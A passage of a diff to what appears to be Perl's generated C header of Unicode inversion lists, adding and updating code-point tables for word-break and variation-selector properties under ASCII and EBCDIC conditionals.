+	0xFE63,
+	0xFE67,
+	0xFE70,
+	0xFF02,
+	0xFF08,
+	0xFF0A,
+	0xFF0C,
+	0xFF0F,
+	0xFF1A,
+	0xFF20,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF5B,
+	0xFFE0,
+	0xFFE3,
+	0xFFE4,
+	0xFFE8,
+	0xFFF0,
+	0xFFF9,
+	0xFFFC,
+	0xFFFE,
+	0x10980,
+	0x109A0,
+	0x11580,
+	0x11600,
+	0x11A00,
+	0x11AB0,
+	0x13000,
+	0x13430,
+	0x14400,
+	0x14680,
+	0x16FE0,
+	0x18B00,
+	0x1B000,
+	0x1B130,
+	0x1B170,
+	0x1B300,
+	0x1D000,
+	0x1D200,
+	0x1D300,
+	0x1D380,
+	0x1D800,
+	0x1DAB0,
+	0x1F000,
+	0x1F200,
+	0x1F202,
+	0x1F800,
+	0x1F900,
+	0x1FA00,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_VS_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x180B,
+	0x180E,
+	0xFE00,
+	0xFE10,
+	0xE0100,
+	0xE01F0
+};
+
+static const UV PL_VSSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE0100,
+	0xE01F0
+};
+
+static const UV PL_WARA_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__DQ_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x22,
+	0x23
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__DQ_invlist[] = { /* for EBCDIC 1047 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7F,
+	0x80
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__DQ_invlist[] = { /* for EBCDIC 037 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x7F,
+	0x80
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_WB__EB_invlist[] = { /* for all charsets */
+	63,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x261D,
+	0x261E,
+	0x26F9,
+	0x26FA,
+	0x270A,
+	0x270E,
+	0x1F385,
+	0x1F386,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE
+};
+
+static const UV PL_WB__EBG_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F466,
+	0x1F46A
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__EX_invlist[] = { /* for ASCII/Latin1 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5F,
+	0x60,
+	0x202F,
+	0x2030,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFF3F,
+	0xFF40
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__EX_invlist[] = { /* for EBCDIC 1047 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6D,
+	0x6E,
+	0x202F,
+	0x2030,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFF3F,
+	0xFF40
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__EX_invlist[] = { /* for EBCDIC 037 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6D,
+	0x6E,
+	0x202F,
+	0x2030,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFF3F,
+	0xFF40
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */
+	533,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
 	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102B,
+	0x103F,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1A17,
+	0x1A1C,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BE6,
+	0x1BF4,
+	0x1C24,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200C,
+	0x200D,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA954,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEB,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFF9E,
+	0xFFA0,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112EB,
+	0x11300,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11447,
+	0x114B0,
+	0x114C4,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11641,
+	0x116AB,
+	0x116B8,
+	0x1171D,
+	0x1172C,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A8A,
+	0x11A9A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__FO_invlist[] = { /* for ASCII/Latin1 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAD,
+	0xAE,
+	0x600,
+	0x606,
+	0x61C,
+	0x61D,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0x180E,
+	0x180F,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x110BD,
+	0x110BE,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0001,
+	0xE0002
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__FO_invlist[] = { /* for EBCDIC 1047 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x600,
+	0x606,
+	0x61C,
+	0x61D,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0x180E,
+	0x180F,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x110BD,
+	0x110BE,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0001,
+	0xE0002
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_WB__FO_invlist[] = { /* for EBCDIC 037 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x600,
+	0x606,
+	0x61C,
+	0x61D,
+	0x6DD,
+	0x6DE,
+	0x70F,
+	0x710,
+	0x8E2,
+	0x8E3,
+	0x180E,
+	0x180F,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x110BD,
+	0x110BE,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0001,
+	0xE0002
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_WB__GAZ_invlist[] = { /* for all charsets */
+	41,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
+	0x2708,
+	0x2709,
+	0x2764,
+	0x2765,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
+	0x1F48B,
+	0x1F48C,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F5E8,
+	0x1F5E9,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693
+};
+
+static const UV PL_WB__KA_invlist[] = { /* for all charsets */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3031,
+	0x3036,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x31F0,
+	0x3200,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3358,
+	0xFF66,
+	0xFF9E,
+	0x1B000,
+	0x1B001
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */
+	1015,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2D8,
+	0x2DE,
+	0x2E5,
+	0x2EC,
+	0x300,
+	0x370,
 	0x375,
 	0x376,
 	0x378,
@@ -86898,33 +353395,19 @@
 	0x55A,
 	0x561,
 	0x588,
-	0x5B0,
-	0x5BE,
-	0x5BF,
-	0x5C0,
-	0x5C1,
-	0x5C3,
-	0x5C4,
-	0x5C6,
-	0x5C7,
-	0x5C8,
-	0x5D0,
-	0x5EB,
-	0x5F0,
 	0x5F3,
-	0x610,
-	0x61B,
+	0x5F4,
 	0x620,
-	0x658,
-	0x659,
-	0x660,
+	0x64B,
 	0x66E,
+	0x670,
+	0x671,
 	0x6D4,
 	0x6D5,
-	0x6DD,
-	0x6E1,
-	0x6E9,
-	0x6ED,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
 	0x6F0,
 	0x6FA,
 	0x6FD,
@@ -86931,8 +353414,12 @@
 	0x6FF,
 	0x700,
 	0x710,
-	0x740,
+	0x711,
+	0x712,
+	0x730,
 	0x74D,
+	0x7A6,
+	0x7B1,
 	0x7B2,
 	0x7CA,
 	0x7EB,
@@ -86941,29 +353428,31 @@
 	0x7FA,
 	0x7FB,
 	0x800,
-	0x818,
+	0x816,
 	0x81A,
-	0x82D,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
 	0x840,
 	0x859,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
-	0x8D4,
-	0x8E0,
-	0x8E3,
-	0x8EA,
-	0x8F0,
-	0x93C,
+	0x904,
+	0x93A,
 	0x93D,
-	0x94D,
-	0x94E,
+	0x93E,
+	0x950,
 	0x951,
-	0x955,
-	0x964,
+	0x958,
+	0x962,
 	0x971,
-	0x984,
+	0x981,
 	0x985,
 	0x98D,
 	0x98F,
@@ -86977,23 +353466,17 @@
 	0x9B6,
 	0x9BA,
 	0x9BD,
-	0x9C5,
-	0x9C7,
-	0x9C9,
-	0x9CB,
-	0x9CD,
+	0x9BE,
 	0x9CE,
 	0x9CF,
-	0x9D7,
-	0x9D8,
 	0x9DC,
 	0x9DE,
 	0x9DF,
-	0x9E4,
+	0x9E2,
 	0x9F0,
 	0x9F2,
-	0xA01,
-	0xA04,
+	0x9FC,
+	0x9FD,
 	0xA05,
 	0xA0B,
 	0xA0F,
@@ -87008,22 +353491,12 @@
 	0xA37,
 	0xA38,
 	0xA3A,
-	0xA3E,
-	0xA43,
-	0xA47,
-	0xA49,
-	0xA4B,
-	0xA4D,
-	0xA51,
-	0xA52,
 	0xA59,
 	0xA5D,
 	0xA5E,
 	0xA5F,
-	0xA70,
-	0xA76,
-	0xA81,
-	0xA84,
+	0xA72,
+	0xA75,
 	0xA85,
 	0xA8E,
 	0xA8F,
@@ -87037,19 +353510,13 @@
 	0xAB5,
 	0xABA,
 	0xABD,
-	0xAC6,
-	0xAC7,
-	0xACA,
-	0xACB,
-	0xACD,
+	0xABE,
 	0xAD0,
 	0xAD1,
 	0xAE0,
-	0xAE4,
+	0xAE2,
 	0xAF9,
 	0xAFA,
-	0xB01,
-	0xB04,
 	0xB05,
 	0xB0D,
 	0xB0F,
@@ -87063,20 +353530,14 @@
 	0xB35,
 	0xB3A,
 	0xB3D,
-	0xB45,
-	0xB47,
-	0xB49,
-	0xB4B,
-	0xB4D,
-	0xB56,
-	0xB58,
+	0xB3E,
 	0xB5C,
 	0xB5E,
 	0xB5F,
-	0xB64,
+	0xB62,
 	0xB71,
 	0xB72,
-	0xB82,
+	0xB83,
 	0xB84,
 	0xB85,
 	0xB8B,
@@ -87096,18 +353557,8 @@
 	0xBAB,
 	0xBAE,
 	0xBBA,
-	0xBBE,
-	0xBC3,
-	0xBC6,
-	0xBC9,
-	0xBCA,
-	0xBCD,
 	0xBD0,
 	0xBD1,
-	0xBD7,
-	0xBD8,
-	0xC00,
-	0xC04,
 	0xC05,
 	0xC0D,
 	0xC0E,
@@ -87117,19 +353568,13 @@
 	0xC2A,
 	0xC3A,
 	0xC3D,
-	0xC45,
-	0xC46,
-	0xC49,
-	0xC4A,
-	0xC4D,
-	0xC55,
-	0xC57,
+	0xC3E,
 	0xC58,
 	0xC5B,
 	0xC60,
-	0xC64,
+	0xC62,
 	0xC80,
-	0xC84,
+	0xC81,
 	0xC85,
 	0xC8D,
 	0xC8E,
@@ -87141,21 +353586,13 @@
 	0xCB5,
 	0xCBA,
 	0xCBD,
-	0xCC5,
-	0xCC6,
-	0xCC9,
-	0xCCA,
-	0xCCD,
-	0xCD5,
-	0xCD7,
+	0xCBE,
 	0xCDE,
 	0xCDF,
 	0xCE0,
-	0xCE4,
+	0xCE2,
 	0xCF1,
 	0xCF3,
-	0xD01,
-	0xD04,
 	0xD05,
 	0xD0D,
 	0xD0E,
@@ -87163,21 +353600,15 @@
 	0xD12,
 	0xD3B,
 	0xD3D,
-	0xD45,
-	0xD46,
-	0xD49,
-	0xD4A,
-	0xD4D,
+	0xD3E,
 	0xD4E,
 	0xD4F,
 	0xD54,
-	0xD58,
+	0xD57,
 	0xD5F,
-	0xD64,
+	0xD62,
 	0xD7A,
 	0xD80,
-	0xD82,
-	0xD84,
 	0xD85,
 	0xD97,
 	0xD9A,
@@ -87188,54 +353619,6 @@
 	0xDBE,
 	0xDC0,
 	0xDC7,
-	0xDCF,
-	0xDD5,
-	0xDD6,
-	0xDD7,
-	0xDD8,
-	0xDE0,
-	0xDF2,
-	0xDF4,
-	0xE01,
-	0xE3B,
-	0xE40,
-	0xE47,
-	0xE4D,
-	0xE4E,
-	0xE81,
-	0xE83,
-	0xE84,
-	0xE85,
-	0xE87,
-	0xE89,
-	0xE8A,
-	0xE8B,
-	0xE8D,
-	0xE8E,
-	0xE94,
-	0xE98,
-	0xE99,
-	0xEA0,
-	0xEA1,
-	0xEA4,
-	0xEA5,
-	0xEA6,
-	0xEA7,
-	0xEA8,
-	0xEAA,
-	0xEAC,
-	0xEAD,
-	0xEBA,
-	0xEBB,
-	0xEBE,
-	0xEC0,
-	0xEC5,
-	0xEC6,
-	0xEC7,
-	0xECD,
-	0xECE,
-	0xEDC,
-	0xEE0,
 	0xF00,
 	0xF01,
 	0xF40,
@@ -87242,28 +353625,8 @@
 	0xF48,
 	0xF49,
 	0xF6D,
-	0xF71,
-	0xF82,
 	0xF88,
-	0xF98,
-	0xF99,
-	0xFBD,
-	0x1000,
-	0x1037,
-	0x1038,
-	0x1039,
-	0x103B,
-	0x1040,
-	0x1050,
-	0x1063,
-	0x1065,
-	0x1069,
-	0x106E,
-	0x1087,
-	0x108E,
-	0x108F,
-	0x109C,
-	0x109E,
+	0xF8D,
 	0x10A0,
 	0x10C6,
 	0x10C7,
@@ -87304,8 +353667,6 @@
 	0x1316,
 	0x1318,
 	0x135B,
-	0x135F,
-	0x1360,
 	0x1380,
 	0x1390,
 	0x13A0,
@@ -87325,69 +353686,41 @@
 	0x1700,
 	0x170D,
 	0x170E,
-	0x1714,
+	0x1712,
 	0x1720,
-	0x1734,
+	0x1732,
 	0x1740,
-	0x1754,
+	0x1752,
 	0x1760,
 	0x176D,
 	0x176E,
 	0x1771,
-	0x1772,
-	0x1774,
-	0x1780,
-	0x17B4,
-	0x17B6,
-	0x17C9,
-	0x17D7,
-	0x17D8,
-	0x17DC,
-	0x17DD,
 	0x1820,
 	0x1878,
 	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
 	0x18AB,
 	0x18B0,
 	0x18F6,
 	0x1900,
 	0x191F,
-	0x1920,
-	0x192C,
-	0x1930,
